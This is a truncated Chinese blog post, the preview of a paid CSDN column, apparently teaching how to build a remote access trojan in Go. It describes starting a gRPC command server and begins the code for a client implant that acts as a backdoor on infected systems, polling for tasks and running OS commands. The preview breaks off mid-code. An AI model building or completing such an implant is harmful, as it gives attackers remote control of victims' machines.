28、构建和优化远程访问木马（RAT）

糖果HTML

于 2025-08-11 01:05:17 发布

阅读量6

点赞数

CC 4.0 BY-SA版权

分类专栏： Go语言下的黑客艺术：从入门到实战文章标签：远程访问木马 RAT Go语言

本文链接：https://blog.csdn.net/m5n6o7/article/details/150174219

Go语言下的黑客艺术：从入门到实战专栏收录该内容

24 篇文章 ¥399.00 ¥499.90

订阅专栏

超级会员免费看

构建和优化远程访问木马（RAT）

1. 搭建服务器

首先启动服务器，在 goroutine 中调用 grpcImplantServer.Serve(implantListener) 来防止代码阻塞，同时调用 grpcAdminServer.Serve(adminListener) 启动管理服务器。启动服务器的命令如下：

go run server/server.go

此时服务器已启动，但没有与之交互的程序，不会有实际操作发生。接下来，我们将构建客户端植入程序。

2. 创建客户端植入程序

客户端植入程序设计用于在受感染的系统上运行，作为一个后门，可执行操作系统命令。它会定期向服务器轮询任务，如果没有任务则等待，有任务则执行并将输出返回给服务器。以下是植入程序的代码：

func main() {
    var
    (
        opts   []grpc.DialOption
        conn   *grpc.ClientConn
        err    error
        client grpcapi.ImplantClient ❶
    )
    opts = append(opts, grpc.WithInsecure())
    if conn, err = grpc.Dial(fmt.Sprintf("localhost:%d", 4444), opts...); err != nil {

了解本专栏